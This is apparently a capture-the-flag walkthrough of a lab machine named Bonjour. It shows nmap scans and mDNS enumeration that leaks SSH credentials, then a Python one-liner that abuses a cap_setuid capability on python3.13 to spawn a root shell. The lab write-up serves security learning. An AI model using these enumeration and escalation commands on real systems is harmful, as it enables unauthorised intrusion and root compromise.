August 11, 2026
Bonjour (Hackthebox) Complete Walkthrough
Bonjour was a clean machine that used a subtle information leak via mDNS (Bonjour) to provide SSH credentials, and then relied on a single…

By TheNotorious
2 min read
Bonjour was a clean machine that used a subtle information leak via mDNS (Bonjour) to provide SSH credentials, and then relied on a single misconfigured Linux capability to escalate to root. In this walkthrough, I'll cover the steps I took, including the dead ends that helped pinpoint the intended path.
1. Reconnaissance
TCP Scan
I began with a full TCP port scan:
nmap -sC -sV -O -p- 192.168.1.11nmap -sC -sV -O -p- 192.168.1.11Result:
- Port 22/tcp — SSH (OpenSSH 10.0p2 Debian 7+deb13u2)
- All other TCP ports closed (no firewall filtering).
The SSH version was current and well‑patched, so no pre‑auth exploit was expected.
UDP Scan
Since TCP showed only SSH, I checked UDP for hidden services:
sudo nmap -sU --top-ports 200 -T4 192.168.1.11sudo nmap -sU --top-ports 200 -T4 192.168.1.11Notable results:
- 5353/udp — zeroconf (mDNS / Bonjour) — open and responsive.
The mDNS service was the only non‑standard UDP service, and it often leaks hostnames and service information.
2. Initial Access — mDNS Information Leak
I enumerated the mDNS service using Nmap's DNS service discovery script:
nmap -sU -p 5353 --script dns-service-discovery 192.168.1.11nmap -sU -p 5353 --script dns-service-discovery 192.168.1.11The script queried _services._dns‑sd._udp.local and returned a list of advertised services. Among the responses, the SSH service (_ssh._tcp.local) revealed a hostname and, more importantly, a username and password embedded in the service instance name (likely a default credential).
With that credential pair, I logged in via SSH:
ssh user@192.168.1.11
# Password: <discovered_password>ssh user@192.168.1.11
# Password: <discovered_password>Result: Successful login as the local user user. The user flag was found in the home directory (user.txt).
3. Privilege Escalation
Once inside, I conducted a systematic enumeration.
Sudo & Cron
sudo -l
#Désolé, l'utilisateur user ne peut pas utiliser sudo sur debian.
crontab -l
#no crontab for usersudo -l
#Désolé, l'utilisateur user ne peut pas utiliser sudo sur debian.
crontab -l
#no crontab for userNo sudo rights and no user‑specific cron jobs. The system‑wide cron (/etc/crontab and /etc/cron.d/) also appeared untouched.
SUID / SGID Binaries
I checked for setuid and setgid files:
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/nullfind / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/nullThe output listed only standard Debian binaries (passwd, mount, sudo, su, etc.) – no custom or unusual files.
Writable Directories
I searched for world‑writable directories, excluding /proc and /sys:
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys)'find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys)'No suspicious writable directories in $PATH were found.
Linux Capabilities
I checked for file capabilities with getcap:
/sbin/getcap -r / 2>/dev/null/sbin/getcap -r / 2>/dev/nullCritical output:
/usr/bin/python3.13 cap_setuid=ep/usr/bin/python3.13 cap_setuid=epThis meant Python 3.13 had the cap_setuid capability, allowing any user to call setuid(0) and become root – a classic privilege escalation vector when an interpreter is given such capabilities.
Exploitation
Using the full path to Python, I executed the following one‑liner:
/usr/bin/python3.13 -c 'import os; os.setuid(0); os.system("/bin/bash")'/usr/bin/python3.13 -c 'import os; os.setuid(0); os.system("/bin/bash")'This spawned a shell where the effective UID was root:
# id
uid=0(root) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)# id
uid=0(root) gid=1000(user) groupes=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)4. Root Flag
With root privileges, I read the root flag:
cat /root/root.txtcat /root/root.txt5. Summary of Attack Path
- TCP scan → only SSH open
- UDP scan → mDNS (5353) discovered.
- mDNS enumeration → leaked SSH credentials.
- SSH → initial shell as
user. - Enumeration →
getcaprevealedpython3.13withcap_setuid. - Python setuid → root shell.
Dead Ends & Observations
- SUID binaries — All standard Debian setuid files were present but provided no privesc path (no
find,vim, or other exploitable tools). - Sudo — Fully locked out for the user.
- Cron — No writable scripts or user‑owned cron files.
- Writable directories — None in
$PATHthat could be hijacked. - Other capabilities — No other interesting capabilities were set.
The only non‑standard element was the cap_setuid on Python, which turned out to be the intended vector. The machine rewarded thorough enumeration beyond the usual SUID/Sudo checks.
Conclusion
Bonjour demonstrated that a single, deliberate misconfiguration a capability (cap_setuid) applied to an interpreter can be enough to hand over root privileges once a foothold is gained. The initial access was obtained through an information leak in the mDNS service a reminder that even passive services like mDNS can expose credentials if not properly secured.